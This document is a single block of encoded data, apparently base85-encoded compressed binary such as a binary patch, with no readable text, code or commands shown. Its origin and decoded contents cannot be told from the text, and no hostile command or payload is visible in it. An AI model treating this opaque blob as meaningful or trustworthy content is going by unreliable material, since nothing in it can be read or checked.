zf0N&k9|V*_^BGg=oUovL{23&yjB?SCu#9R0y+zEDFY(J)`T~!STQ|$^pS5nB{$DkR zcG}FT3jRm?<aNHYH-}OXWtVI0yz1(CV_o_`@;w8i<|pLS=9n2dg|Fi92u@!gg%2=c z<5Zt3FE%RLmX=-QXf1X*;-X?~qXD<cr(+_=Mn=1f&h9U0cLrg(sj$sS<%+J8c6ZZk z0Ct^d??6$h*)F%bXw8?gFIgKACDrVS>Fn?N>THaB`#WRy1kR41Rkf(SZE=;i+ut_Q zdHdo8TPIE0x?u6`&XH|n6F05wS<%q2qG$ZFwwSS~A+!_a8|a0?aNa+ChuSZa@^Tfo z2%jUu&mI=9|D{!)c=r3Ptul-OMOq3QWCf^oeT24(!8eWR%jFflfo;9wkAVsD)-%VI zM7mK`ks^d?Ko~4Gfu<8l^c{$DA<E?jeBIn1*e||`*UV!A&tU&Y;8!t$7rMGcv#6(# zh*Ew)@sVWn6pT@Dtd<bb|8dD(w~CCOz&_~Lz<1@tXAV%l;q5-!!+oR;2F}f~X5g#} z4y>ubLf06Jr1r&CHH(^R=QW0VN200~Hs$8EmDG=S7Eh@yZp?K%XI5Xds=RhZWcA|a zmPOS#m%xfuta)w4#qD|6-ahZ@%FK+aoV-c*EWtilk|nq!pY#FV<!PUf!pT9}R1*4M zS838ky)AWEc-Px(9o_GDHYL6)zYsXk(PZyw64pS}#KNM~^v_TxZmiuYVM`|g^PPTL z0TJxUwQ*W-P8BnG15y~KTUo>S?-o0|1GB2J&I;?VN~nI9WVjO(-5Hs##6*|)-Y_0) z5!_cesj_lXq2@Mblsoe(GBPUioaGs3hxI}4g_Kx!BPFy$R!hlbX#we^;D~b=Nrh&& z{7b2|Bn^|EGdFy>d=T@8O=$o#3ox6$R3@=KbQSEOdteXU7PO<%#aCbt?cf&277-0_ zU==-9O?J`MA~*0BS~0Yt{BwC5c9Z3xKj0m*(B{@6#pRDt5@@|?CE2=hbIN*G&vJ)* zX0Dk~*0`v<WQ1)*N%x{3gj=$*Ea9T8v2+%uH0RGMZS+i@)Z=jUOqv|{wph?OC$Fw9 zZ%$+2TZl$lCry{HlzY&gy|4&eShrtUX{Gn3!M8!$Tz_z>D7_CNLwk4CXIcKjgvO*; zXK~iD@bHmIqf&F`EU)!UbVigf_P5;F8WtHHF=9H%ik-1ZjR}SRtPh+MJ+;f{<fM*D z8W|qmGa@27GOYE+7XRXMNKuM+mcPbVJUGS8m`P5-$}Oy{Q!0~+l(1Y_`6*cZZqF5q zJ~vVF{IUsaW_rTivsU+>n=6QGrL<7KM4qmtcycA3Zj*u;YnN49_D+Z0!KBuc3Y|?F zX61z?Mb54IEVHa2aZt`&S>u_M7g2UG=gi2ch!K?Y`Rb=A<*mUq)4OUrq^QhNQtS;1 zzQc%PAY3SfIQi@6OOTk`SaJ~+^F<|QF^h`=-)fxgtgCa*ZWId;*CwR-T0PCpDOA8# zDr(H&@Gu*7%p6LQI;ClRx%I*lBOB$MSWuSvLEa=!&6OeL95s^5`QkFjVMjUtL@(z> z$Y~eW1>${@VlB^7@^Ya}U6m+?T=CV<O_lF_m7ntWI@IhHdd*&Br6P7wVONq-r@gO0 z+V#X%@~-Ymd4*ok=TFOjTv!XBUe+$fTNHU0=FDCAN(SZ_s3IFFMb#FA@*zyC_B2bv z%|Q8eT~?Pb(BSLJsv}4|2Phyq^m6Yg=$|yf;g~R~U-%5LphIu{Vm7parW3*~f&E@X zXLwtd^svt8S<(^$dX45o(&wu)<ew`wy7cW_B@GRP{1b!plcH5%UVK3nT3q#IqhDqu zmXpmHAXFn=X0ihZLXxfL3VLq4dXw^fv@qz?cD<@$AVC!@I8lKKO>GT6mk6daMW-IV zv2uC2ZAyh`oWF44e80c#k`9NX<C3<(&nl+a%9mGOYh+_t-+HGK)<2=Qzt`40v#M%l zlPyefuJ0q;p%oHf!kHyNtD>rxtJ}Dk6yUc{5GEPgRxfV(;l`>fDCWS=^f>)~l0h_5 z%vV(D8t_^zVp|i%*=$4f6Z$z~LtRiSD1;?-2ol)I7S(O3pmM{^mcGI+OQD?z3fjGk z=ev@^ZDiVzdPua24YRk+^tR?zl{L4l99KTG%~>#W%*cv`y+!_+Ynw-mn9-L%(VdW& zP`tozwTQ@xcP?(cbaF<uXJvcO6?M5yGpp<7G)A`KpomKwyVg!E65YLheKSUcS-OSA z>R(WdkR+)SlKz$@#TKvjU@lQLBFjH$?NKI?!cy$cGE&milx?nZh+K(|Nvt2UcBa3m zcTq)T$E*Tp+syKDD_fe%tDG&~nfER-W8>%}i>9vaYP_^3U$jOx&Z(=O*_2y%MNj)m zPj$xROB)y8IZ<>QN$RFF_66<IH(>WbU|mAJ28m7ja3uI2Id}kqG?HDbg?F9HVen|@ z9FF4#4Rp?l;oKn(WKKk!``GG~+DFLZ5`2)RPxM8S6L<_Vnf@4|f+DQaW!0$ykA3*z zhe1+6AJQ8Q*yPwTtdAN-L8H-l6?ZNzDZnlIelc_3+I<sW5XXPf3t;98cq8&ORw2+T z1Gu~*0WM@)2wpfp5_$&bHpJyFWOEB97u5&yI~9xv^NqQ2c}#Kp+5O^VAeJcG<w)?D z2f8WZl+I(GIEBS;xQU19hqUQDh+-Bco~YWz5?E>!Ar{4A#(GBttv<pt_Bzq?gBY#| z6^qRj3r>`hY2OvL+1)5^l<z+~k5Yi#y&t&?pUFaCM&>NmGzT6-&LWihcZAwXe&ev{ zKX6^(I*2_Fd}zhwX}n40aP8nY4Z&(TqwzfwGqx~}FE3Y%^6XmK8aP7{cZ#2Zs~I=w zrpAe|ygUdH7=`Zt+mZ6afyWLWJcxva$N{=>a#*ei3bX0#KLrFNkvapky2_Lal+AG> z57S5xO?(8y@gn)Yv(rSM##1VR{8b{rBLK7oV>*`Y2`sG)PCIBL8Bx}`rmbyFr{<PT zEH0i{=ATqtJSoyZ!mF#audIA>Y3bzhvOdfaijX+YiD3Z80bCG{&bIjm&T7LZD6A-j zagoC24T(lQKW0D_c}#Kd^$WVHlC5bK9i`LPx88Nrl{eSrjbHnSd~b7Xc44(GEOB&n z^<~{xUf*%!jP^CNTY3M-81)+YE;)lZWBn-lX>+TJHmZ+NzF{(M_f5OrWPEdwZ$esh z_0p~ozNl}I*z#@cU2|D}AmiN;*7*DYF74*H#)7#;#0Q-?T#UJ2R1&e{i^@2h=!)dQ z>A)4J<2I>Ksv@1nH6i44Hs#u+6FOatontUJCDXZeFdP(&po1e_5$>Dfw^*tar7pj| zq^#zm7DwB<NuOo3UKL$flQA_dsjaN6dV<F@;SaXvqLFFQQBg^ezRIqqS8NUaWn-4q zoZVHnptq<tzF}gaoPGAjjFuQ|jhx`=_Lp_J(U386w~WJT%N5d%((P0ytonu3b%}Pn zt-Q?dFNbAdKG=r@(Mxmk{C=dumEuY%$5lDhWv%4PZ}n4LVcZ<-Hfst^{v;(@t$2@W zr`lL<PfWJNl~xp&d+VJo_WGEZ%%aT9k+HdP{C_mFC@U*!T2?`JcI23i&gi)KXeF&Q zC){oI<mW41t2ex0lq1?1my?>4o$gG`kF1VpN^VSRa&(l8@l{pSoDCbDZcj;1h=@x} zjB{O?k}l%oN7>>tMORj0YGP)jP06v02%nglGTLRa$R+qsFVdYnrPL+jqNC$uu{x(V zz9ywQrz)eyUhAyPtM-=XmlgR6D{D(@%A1OsZFRB57I&#DIyYfqSZ;D=c0z1yW=w8W zQpV`$xU5v#^Vg!*D>tB?bV@VN?fK9ugH}1sPEt!s!K+Tz9a_h4P66VXYywlmX!{Gq zJF~Yft7~5Kz}(q)EGo;b8Rx3-Tau?0mrW?J)%TUU8oUvyW4dJ}Gv3kQLeJkl`Kt>n z%ja(BoH9Sxp58iZy0^oVS?+Mu=BH*=|GaM5w%PL@Slw8^^wyr{OUAjX^1VLa^qQ)9 z<2>o5wnc%xk#P|jalS>J9am2;EnjeJf8WO0rTL>vlkCZA<(yh~ZEki|XMRCFhVPmd zTM13yt+x)0c&HWNMH$(DF!C`^OS9XU#SJc0VkK(DD2-N0P>L}qa-}3=M2N5F$St#d zan9xvuhTa=KQG^dsnx1#%yXqDX8P-=G**oD#@okM=Qri0G&b1EYEo$dRd-HwT4q?A z#qJ#CTpC%_Tb5H@R+N~Olvj{tcNJ$R*vtAmI;P~u)WsCd8s9prsXW8cmXBq0_Qv|$ z=+we8M_xsyJ1@#}NmF>!I$u&DjoI;STyFXF)mE$&)Vlz*YFtX3-n5<FD;lXWcYI|W zH{pfCUc0278f}F9!?RstvC&Y$GaDyoR3Wci64uu&()NFxyPS;Ij$kOqLswX-+SrYT ztQh1`7HU=_CJnUVt$45$8v@)-x0knM;&7{urM8BQE??7_7^ma5mT{R`tv{Z&ETbW5 zVry%s&G|@WM{Z8F+n(-DF0TF7xQ6lto3licb981gj`DKX+Kb0|e5EB`M+tUir-Y}D zbXVANYF%e)^Zm{eU;b!^HFu<|IxnZpW*Kcw&PmQJ9hni`Sz6qUL5OzN;7O#9=FQm3 zJ%7JhsqZ37(WW7gaIXKT1=|*H>+j#TSaa!fwQDE#UW<>`PMtDu-jv#&gqr9QXL)^n zxw|~NGNCte#<sch?wv8?-g$Gk&1fEX-T3j>jnmv|3;O#P_zN;~a$0I@Td;Nrhv9^A z530#YGnK_5nw=Dw*2lZBByvzckCiu?FP5AbpNAMAYQn<GYwiybxBeb)qrInLN}t2& zbo2$qoW703y!Wn@?@b#Zs#uX(mRH%h>6u)cEf=}z7M;BIhvu*GPI@xx9ZjiY4!gY4 zZpFfFtO26E7rb=hcOAO|AIU##w~7&ye3M5AYx}ge6gjzFX4|x)BJlKmQ`6sgBYo<9 zqH}js({9wpI@rj!b7`f6yI#Td^oJ}Ue7AIbLBaS^Uw1)4x38e8svy6*TJ+_2mXvgP zy<H_Go%zkx`5K-yLOE8w|HxSNUiqVzCO0j6haCVPF^|{D|5Vz=cEC^J(teU@(ssNb zB0CwW+}@5&bnCG#NDlFVg-d=3?2m7<y%D%mTz2*Ya={@9`{iiunhSOWY8AcH&_^y- z%)tb;kv6+s2{m(kOgq-jrn}Rlo#U2{>0IECPfCeHemc{v@%fRBW5hR$YO`XpOC7$Y zizcSDj-GRMy*=HQ8(5N6Y_+ypAq>6Q-!9&O&ZqLBFPUlYcs;#B1jfVajF3Nh6{`xB z0dylnC{dO|qZUtvga~|uP_(M$wEQ7bltQzlJoB83!>Xx$;BBF1=T*=t3|6plI>kLp z?wNS@uxsVG>0hrb{KlLsAMEeD_u{5Yo#MVcob1xK^O{FIMLko-k8KC~;(Pll3p|fL z>M7910+wPrS3p{Yval-4a2f@bNh0R&oY+TzGNEx*X5b�x=?-oWMUIpXra(>*J~* zRp1}@+;dNm6wp01=4esxM-O=#Q#C)5=5v|fk1{_QQs&qiq)dbleVxLGeF9^sM+xmW zSRrz+LD``78R0bFq*=Xee1 m9jm(sJyG%-{y+VX)dnqOKGaBs!!=CF6qt4$-!w7 zv9@&EqUOr}k_2ySslOz~Ww+;z$g1=En+x5k5izdrhN|(EMX5P8d9}5<RTWto1#TR5 zYs=1=+ZyYhFecMk=xFk0`U>-tQ{Aq_tSo0{Y=#%-p^nLm7L;b}kdX%NTKQ1!5|=BH z7<s+RBe5Y{1VZ-9ed0bDdoe9XrB8X)!Xxq+(Jh|<<_%%f)-h=947{{fR3qMy-a{*j z<JOFh0;eu;ADj%}XZ4+(^-gED%a!dEZ;XMAHLmPzR}J#J4dFfthSOFF;PsV0gS12o zm*aHiIOULVknxX@Xgy2xM}greI5p#h(OYo}JnGC<{y2McS65x&3@Dq$YtpUq8+cQI zQ;ATgWp%OKA#IcQV4VQ0*Vd4=32Z=8i9-H)Y1!Fn_--f8eCB_75C4r0KH?vv(C6ho zsZM^0Rvb(W;iIn$dC6D_0@|D9F_IVGLxOy**yv;HZk{in`0jV%^BefA(0nH2+tle( z=QqQLMwct$^8)*zo=>iXC*9ps=YND-9`jxN5PqKAB;7B+$8Wf`Z$RI#eW*-sTDcN@ zh++&VPA~;@w?C!w{uMJ;fQTemxe^ph<z{KC{CnQts4ac*YYl$uq?VRR&BE*Uc!d1> zmPwOZ>{v+**{+uxrL{`Ixw#m+T3)GYZ?CHA=%~teyR&gC1<mE<EiL8c&84oaEEnA* zUnfdrxBN0$JCkGZN}69qT0_<a>{il??HR6&^w{L&u*R^;@^n{b+NhM|F!|+zx~!zM zq`aJ#HvR**StymA^4;9Jp`dmK_Q-d)wo)D0CFhBi@<(_tAT?_<@u;H%UU4R5WMw8N zMyHM}imA-Y%uh+mm-AdP8Od=evGF-M*{Pn<srfdfz63dXqh2ztl%==}o99nGgPTi+ z(iNJkcI|BkPV_@H+uAHV9=BICQ|`*ml%>d8Ncdl9ql@r0E!2``l(typoz|g5{uGT& zNS|WQ**E1S64eFTeT&u5pXQggPZiJ9RyIzbhWMVx9+x`x0jiHvbo&O1D_9>7>D7_e zC8>4NHuZ6|ibIlghV~<WM@_(5sNEFvRK%Ru+*r{4;DeNkTU3uU7ghjf<}QXks15Z^ z%dpa0>uW2|E{;ox$xhC2I4z?SnhQ$WVxwzD#5inePH<=i2duQB_taxpuAmhew7AAp z*N^EesH}*yWsJ&*ii&psp}MH5B|Rz8<w{D+z@7ptoeiljRkNk7>Qj*UEy#Qrm|5yY z(oXdOV2<J~;0VN2EefO;#HD)KzYtg{E~Om=boSg)oJAMU>BGCyTJhc1z;ql|hqGg# zCFWwU<W_kPG~A(}&U+SGutI(bnAeBZf`haW_)LUe+R1w9O$mJ&Ff-*Q?BjnAeEt;V zGZQrTGR@&2X0hBXw#dH+&09gtb#kM)S}6eLh=e&S@M(vH-<Mwo=56US#+<9Cx2PU` zH#!qE9}28@L8xuO%#iYcIWDG>o>YIM<VgJry(g7gp-oD0IE0dO!wvAc6FMYc*~C7m z&M7TT{mQ2MF{7sb9zK_8KBS>i`udyT1ODnQ@cE6h$>I#7NyYFm=_!h1F|gY}Pit;8 zjkK+^x3_cIH2J;DF1vp)g{G0VEt|FsL=@v?mr-fUZ%bR1)mmvw51<5}l7Edn`Pz9} zZ}vH#m6U&d&d2T1dP^bS)tnx*CDO*ZxUWTeMOZM=NH$`87qg%DBcnjo46TTfak;pE zYENQAu_8^J(O6Z6v{s8e)VSrLHEy}K^2mo1We&=8zN@yr?%>(ka$ZLVN~IDz-tVN- z{ld_9;WPjRz4dr;CtIP~`ZZW|bkS-zap%|rV?|xyeL5LV+(!3zYihv7juQbNrSt#7 zu)ZE#@D30sdOeDjue=Ixa?qL%vDdUg4h+)ws;Bw=)2gec`~B0aYTDXrYO!$Tt<srI zjk8KiXEoyM5!K^6I>ysYwWvg`$CoMYMoehId>WxQa9H{VW1veJ!!**?aF<4dFZO^o z@HgaQi5Meo77vnEf=rtFKo5IS;^@(dxW$9~2N1Mg>3!)NphZ}XmR};ebUUkJ_UH_U zJ2TCxi16^pgy>Z9pfl6nl#m|jO%OtfOd6G#O7c>SIK$6LGH8-WXMwL!|B7!kVHIUq zT2N|W#5%@c9Kz`UMxMtQ%tX>j4N`^pr}WR@N=vLV`{&PPFBV!dUaZsbv@%hw3+y$0 z<awr#JP(I_APgjELXNyBNP=wUj;U~9Hj5n80WNtu7tl}Je{helug|;$Kaq3xcje;e z^sS60>8$jkLaRQR`YH^;?69<GBm8wi>a%iTd7!?W#>6tHH=EQ$@m9P+-eFi@d#_CA z1Jizw6pUsn2kh|DMy9mNd8pATjJEPJJK1hrz#^+>bxX_Yo(beWS-Y^+Klys>ekh$@ zhp)DjP7m)XDe0M3P+n1dZ}aN$<5x8|uNpsob@O#1Ch+kUqt-Y3X4KYA$Fxvg?F`>e zkJnRN<aQS#HJQ>W@s(gJ;Sm|F@%*UmU;qO+TJ?ByZ7otAN=0KH&?F#-5-@xfUkPkK z*w%J?V7pi-Pp+*EJcuQe57yF%DtPui(r(vme{H@@dxvSxi3Mlfe=+gq1(lTxZl0+B zPrIe3=ay;gx<m2gU)Ou<j2XA~YA%%vtYk~G{6maImSf&jnrGu#QcQtrwx{2RS@rTt zOn|xuPk{2&r#{7sg&QIBs^^<zCC$Z?qE4C>#qdQNlw#79tP#wbiVRGHwqEB7iyb{W zHY_}~Al*_`WoZp-j%bam&MGa<^QARfJ4SXVjdQnDRM+|&J?$C8&8W`EvZvCgDpKt~ zPDv}wj7^Cc86Fptm}W~Eou?GoM#sjb$_X_snUgcxvl`M`a+@8^z9wHqZDmtIdv<$l zlTwv}oXF4eN7WBAgZjQLD={uEG0Qe8!amxbKQcTa%$k*!hxbYJ4Qg}NoW4p&_T=yr z=P5j2PT4J2U`~8S=w!LCd}@QOX=V2hF-xvsvK-@To(vy2QGO!3W@2f}g34B&9JkO! zIdlWf;L(}bc!$>>7u>3aHjPWfkG-V2W(CdKEfiBk*+q@bv;EqH9l}XiJ?w@ZEVp%Z z_eoVt=dD_X86qq8f-b}g;|8qb@5KofmIcdKE|=zBwrIsNY4PRrR$L}6z5KGvFT*Gr zoiK9|(lWeHBzQUIoalcQdSg1_4YTw?=ngz-IC_sZ0;>lV@SZO%3G$#&B$12@eHd;F zcxiTp#+&f;P4zHb^uBPFTqK3bPbdw5ACg{`6!EaM53nprD<ZW2Wec_cN;=zQJ}!Y1 z!sz|)V(FkHL>hLl(~AEzxHj|x2y1D#bV#!Oq@8rJY<VxtO8o3calcQpSq@oFqCKf$ z5zt`a_Jj5}>__bH+K<~m27S2Yeai=yW0nssf3chhQoqa8;V2u(kI?k|K72=kM>zJj zM%wq<U$lSB*K787>>oQMM+|sH$`@mG(-NHSv{b%aUM4Tc>aPE!{IG8t@|GnFxW5DL z?;?(9aF?W*Fa>d7r-yxy{aO17`}4SeWq-vHWq-~7rv0e>eftSVyd&HZZa-!J6!C`B z7}b923*0A6S_cY^^NI3m@Qsl@a9MEg`T{p<k3qjf61Eoy+_L>)<5{wA1np4wcE-!F z;{?sz<Ewss`0qyzoh+@9*5X~#b+Cf3lFo=o>F*+1tQQus0jvAg;N9>hakaPwZ=lwR z?c!<ib+JcYEOucn(l_Pl^0(xt<QwH5%FoN&<QK3RaTnG+d?4?Zk1J03WyP&5Q6ele zEHjlZ%P%ayz?b8o=WW}*z`Zqu_902+;tO55FAcaA8{YZ{aTePi$zppFVQv}bet_{J zcL(V9C_OI7;(EaK5U^Mr8-z*>2)hMMoNWfvnYcQ`w?&6S_>B$41;ZLR+fa}xLEjKz z=ju4yVjT*JZRxqV5Z@KLukC6BT8}hu_OF49`Vxdt(`<M7XTyCQ_g-fK+#LplIuyi_ z@56?#2ALst>vVa9+h2U#_6}+s|3V?#3#gO(Y%kef&3jm<3&By?Lll;|93GB~9WvV6 z?458Eb;t(Yq~UDG3<x;eX{Iwm*v{y_%q50=P25nB8HZgq!bTVnab_+dbg+7Z@)_~k za}1nw2*{+vSp@bf$~b$2LDwruj$0gCB*__r+exM1ge*Y_vIHU1m!L$ZgDgQ`NT5NE zUjf?b?*`WakiCBh+$_R5pVlR?&o`h;bjb8|?m8D|U#8>it8|D$*w<2u>>G3(Y4>0% zjo3ms8#w!|I-UIvNh*BBeh;{q&`vzvXMX}NLAwZYKJD6O-{)UvKY*5i)(`vv=Pn&* z`ZDx1(G9{qHz+Ledy(l582#YK;CkF1fJ@LP1o@kAcX0mE6GJYG4w0`bl5>0j&cQhH zb;OddD^?HTdd&5tYme($*Yl1^29&HrA-)-*I7bbKFmR5cAd{a>59@FnP>~K%96^3% zI?mCgLm?6v{6az)I5UJ}+PPsvxOC{gj_z|Ilg@-f^2Olnm~DhzXh2I0XgTtEjbk0$ z8}xc*);gAct7Dt%`Mi^oly}VW0Nld{^r``o@1a4ygnNf^W>|tw6V5dWvF#~9OUL|t z5OO@ELoO<P_H{g_Lmc8s4q=8R=zYRDo*h8<yn)joZs(3yK=T^zHzoZ12<xBbpY8b6 zgd9iD#gVV$eVxv6!hlW@<ocEC71wJnaLkK0AW4UY^bHU7&5IfoHZ|0DFlXX7e26^n zxnV;j$kKiD96DtBnvlsQuSBQIML$z|EUyBoti#=t*9Uj30hzcK184YpK9QvS{mwh! zvsjWm5qX;dtuP=HH^acqH6ZxrEgcl%YQuNE0c|v(9f<8==PZP~-GJ^gpzQ`kbW54; zaY-skE`bip+iyS*8<6R{+raHLATz`ZI?j0<8uw!-QmwU_yq5rRn_=ixJRM_*+QK0N zI+l0Fpd(15BS@ng=u5bFI0QjjSb|Oy?!Tv(boPSNEa!Z<J_ABa3*t=Q1_Re-K%E9; z()Am-TLInSyaz7&&>*zTfJ|TXmqFjP2DHI|HW`o^;y&PZI^Tf%v~!>HiTrn*FFJP_ zkclJcIrcr^Jm`GGdBpjyS#B5FZ-w+sZs;+as|;?k0c98v`4+M7BtRXm*>GzNsL6oH zx0`(ln#Ry_KucWfTsOED8jy)2Xbt<`0%(hCE8K0k*}gaX1+#U#9calb+;yNiYC!KB z&<O(~+|^8H;!YX9pXv~j7Ubs+Hz2}s*btoQYeMlxh$sUh`LwX6Z|VSFmfoE;1kP*V zN(=}(OG~d8x$Yk8?t$B)Lmt#Rcc1qLXno|ae~BOY>7HvqGjxc2-HUbKAhcBXb+0g> z+uhsU8}q~6JKR@GQgM}gJ;Ir|fzW2ABivmCfpR-CP6~zGC!wYGyV0iI4;#>K1A5$m zfOGF<y8Q<31p@-kYhzy%HxzWp2=S5uy=p*^CCJ63I~?j8l=K|~cWemAOwnoG*CUhm zrnLL1ByRC<!I%VP?#b~u;l}8YiL-$==$mLjX$Is2m)V|=@jL+X6bylTmv9BEa33uE z72LHt<f$^C1|2HcphF&LxN}0Z890+4An%jJ*$m<7HR#OPpdEw!jIf?rp*YWc&n0+9 zh#&-6G>B@k2TyPbLU_1Dw}GMiJUcyi<e&CD;n`$BCXS$6*>@oB9>RggPUi81hkSQ2 z-P4|Zp67~Q@Vw|b0C_I)ya6geo`VDxZq@U?@D>BwVnFaM+{UGFBoyc2QV0nPI?r*U zD||qw^VWE0=kNC}^e*u>>5%6W0}AMn*P=rn;Jh{tVc<;P5Xh~E@J1R?tN|q(5F`ll zGeczPz9{FQd;=jZ#6X;u4io1!`I)IK()oGIhJZ{u6EgC}+hK(0HlRrcG|hmPBX=L7 z685gay^b_t!HYWNMG1Phcu^MKJ$g;_ZZja1j8<dG*ZUCFaqnXTa9r<0!V=xHOm_;< ziTrT5&l?bh*Kn^G&}#-nA>QN=M+e~EXWXZuxO_>+X;40Tm;CtrRJd8V9r<3kEro9u zzEb#pe$Q}Feu?3Gl%a~y5czewZ~j<@Hs|lie>nefa9(UceFikcfUY*6xdudGmvUIs zcf|nT!JN+@;w~es$<LH;z2UpjfK1=p4V=kkyMfz{^zF^x510Cnck++HrM^OgUNxXY z21GrC=6e#*>3sBM1<>jRRRyF~Wdn*Zpcn&6G$0C*#vyVB;504;1`hf@$eDC!f59bi zNh@nmrvddE5Yf$Nx@Ca0K42A~O$E2YU28xa3<w&r;OT;WaPKgndkpA412XA$8Mr45 z=y<`$1xE@3cz(`+UMx5elz@ESU|*Atpmzy}Fwl(rPq<GAS7<4WEQ~Eo2DA|Ox<a(% z!VCkl8Iaq62-nSYCa%cvEi<4R18OoL!f9bm+)&UYBSeP*k$hTM(|6hcUrqYiL*SMe zxa9@}%@s`VR_ZGXAHwr32DHV1;9IzjeIGDz&jPoHG*aPX2K1x>k?-^D`<mAF3r`dd z2SG=`_mm_Rg%?F395j*!Axnc$@hVC3$wl#ao`HL5(F(X@4G8)vh|4k{!nH7+iE|jf zUIQ}uRT#JuBdm!V3Nj_AGr|%-End^NXMnFJecuo`Q<k}g?_vYG8qh{$iBz;+he|2l zy+xbh?!f(c(QdeR8PM$pM84Y%Ukx%tJgn1c{7TQ@c|YzKieADPfbwteARNW}D&aW9 zA%cnv$ZjugfX`tAI%Yuc7!YtpCy6d31cleao(2@dTuj^$P;sIjqF6Sd2m>Nnm`ey< z+5lgUtvJWPK~HKD6q}HdqGF%n+lCgf&Hn(N`*APxXTa?=pk4zqeF>Vybn^}0OAKfe zpyMU8;c^`>UJHnD8yIK$5_Bu!{9APiOsMz{9ansh4u$yMHw12{jw{}!LlmO;2~OM7 zI<9!14u$Z0ZV23qI<EKtxEw5g1Fi|Zi>KrMb#MtfVn7=1lj4ByAk8Bce{4V|j-cn* zcOdQn;SeT3F8;~)2;oX1OJYlseNO<g;m#;23PNsze4sCxMmbqhW<WJM#J)|O&yfRg z9fV`wZVo$1_boYE@_xy$N?s}XwB#`ZT4+F~?{WjT1ke@^Vd92@Onz&Ou<H!y1_Pov zG=64?Z3BEY`ED72(?V=DaAt@n4V)>x2|Zx=J~RYm(wUGcmC1RJ5%yUFdftFuL+-vw zrRqaH@^2$ZtA7M>j-MzwRq`qM`VN*xK@Wu+5GXVp`#v|&mvILOXNG0y2-DSpQ$=YH z+;{^*PZGps8IZ$(D1?_om|+PjVO+}qy0HdMgVw`$Md{|!+e=NTZvbva>D-|2Vy0U< z!1rn+>_&!ODt)K)Sm{a7>@c9a3}`6d?E`!t9~9OM@$e9IyA9l413F|tW>^#2Z}`4o zK&J1j2F~Pi*ub4es?PXilpD0X&*_71_Qe=bq5-8DP>umXd;6+<4RB}S-r$2S^|cug zw095(?Hz>r4TwU_=Md1@LEmKtw90_i8qiKa_mTGT-D*J4&p{mYa}XlBT};Qd*ayw% zgWmNWWN4oOk?(VigN_aQ67B%w%&-I<VO#*MC7F60-*E%_*nmDUAfmGnogcbR3*nD7 zAm~oN+YgQDho1C5;IDz(gqz<+VkJ<UI7P0!6{|!ftZOH?4(o0IjCJZleGe<j34>i2 za4#YkKRG@oJ~2Km{*w4*@vHC@AD<eZ6~8pz5x)XYws?1ZQT&ql<?$JKBDx%dGCV#C z)Jx-6#9xg=nLmjO#9KhOCVm~B&cw^{5%H_Qdo9Hye~aB8u=_l_SoH$@ZgLf@6jD`r zFJtaR3bK?@48P013)pRB{APwPW?!UII25d*5?PdPEWLt@@7NK3q=uo@TcQLjW56HZ z4;P|SAwHeTpUJgU!tGLU$}uqA?1D4kdU7fMM7yG45HIlMaJwuPxZ{)=a6ja@K4h8? zk(W47j4^(OS1FKOtYY7pl=os4`>vv0Q~1&m(a&HP=P&@C$?$s7NqCNZ29=Un#+W|l z*2nU<Gq*mLxsRpoW1h1)R3FFKr;yBjEOVbFf?$rt%We+GHJMW}n_wAj4m3Dl5AGFI zN8nNox{tVFRXOra+G?TIa9b%Z>?$DN%|TzpC4GarJ;EF+nA>W0=P_mm)j?TH^#p>& z682rfGB4qjejO*P3ULY3-$K4}AJcq~@sBe6DEmH2q2yzXS;=X?jrrWheAaL-t>OGx z!}+sDISkHg6s&I(OF4hmF#Q_Nr8S&OYdDwIu<vS4%W4bOC5qJ+tk@H)mCq34WQtv$ zO!1-~P>$6SM%qfS1PuYq8WrpG<VLjx?&XZ>usDG4u;jqa<FbS1BMeL4z>-|S>G~t% z7csnu;UX?~JLgytQx<U=iv;+K`3m-mz$O0k*>}Fu!<Z}C&0zOG;m+fFKF^W}cm;EQ zn`3#K^XF|&_1lD(H5sxLs<Bz@n<Z}`nE7WZlNrB;-CVetN(bBy=ILWTK9<?Xsq=9x zmow(_AWZG+a`wHP=`W}Jmv2ya0pG%ulQ_LCnlHzz<s_YHjIfjg@&t}?HJ9~j4z-$n z*K*j^%zrhP?43;c0;jH#c*>0w3N9p(%Yzt_fzFf`as!n<_G%$Flq)z?5z}y4$i*D0 znE1=tj4x*Si#aUzQ6p3yhtk>_b3m&hO>zz4v1^P{QGhcbgqY3Jz9Ra8f0FT?jK7;G z#eQ~AkgvRn`EMeO@}G=f$vjtb+E*~26)brsOO;7@c`Q-NnH;u|XcWev?vXql9JW{8 z4!ANv^`wJkD91Od@%>E3-_11N<rwc~-&;AZpK2J=PVy1ve}pg!dOd`tGvnbBEU#tE z8m4hDehp*Z!b(uI7uIj{<!eDn=YOImv+rT-eh~PsHTny<gilo3*}WTX63%KR{KM?x zd>g>uVi&yzDA9ueL%m6&I0e^1y$swZ;U-XDBd1E#uJ<#4*apBn!|}pGBueU=;8N`I z+-4mdmqY#mFeO+~FT?{_l`cdn)0c8BJ;7yH%Jp*r(=<`<Bkat_&OGsjbYK#gr=5A) zWs={{^4poeU8YpnITdzJg<ZLXFq{?}$uG7@R=7!w$zmBsGXIgxVI+qdNxDe<hf2L( zKll7M$uFR$-9+-hg(T8V%5sJgBVg)zZ=$f$Mv4VrDFg>;f?CFSs<Am-`WYNAwgCYD z6=gl##|SU|f-%3K+>mJBfsk;<6yaHGMT=#Czt1`2VEo@%@>;@+x0vT!6jqtX_y$f( zKj&>f=PGv8fwF)khfAejz`0kzxmQ5zs6~M?iCwA#1st}3^Rs~Sq=0j>fa5CQa>?iX z%vWv$eLmOrd}Su!{Y<kBJ3PUM%kdM&w2&*^#CiJ@t^*~EKf#!r2qPWm96rt#&Jxa< z<0Jz@QO+C>a)2Ha5iCQ5@)d@6ldD__np0duA}Ed0$DHTUoc0KgD}r+-np3xlWf;S` zI)-VUXBmFZIeZsk_&aw((rmy-S+{Ez;-jqFHGA+?PNPpI%fW|TE#!WKU8-+Bj?0HH zRucYAcE3ihg1RAm;uymgxTW$F<SI9!O^s%0VebQuV%aQ=(Rxpe89=#%F*`UPc5s>Q z;L_Z|rM82^Udxn`Oc}}WDRvbuJB6iHSXxE?E_mL{(kd*c!m=qcNh`B#_flBw^rO0c zhD+)Um(&@`Rp|`-o}sv;GtB2Lj_d18d6WDc@HesVO<X$Tn9nR~BO+Vg%I<D<seWd& z%-LLC*<1t5xSrfitx~#~+s;i~QfJw{iDO^Nb>?P<ZzdU}o7q=o_hxDf()Zc-+k_G6 zjQ=)ceod|@<oqmTc?wx`7AmAUi&%3Oay}Pw+bPsE52v({^SqEXPa#WN$nqDm{w!oW zs(|wxYr#>b$sAV$$JN04r-A8fxyIHLr953leURSd+<TMrc^k|5CQ(Y)b4tI*eBc1{ 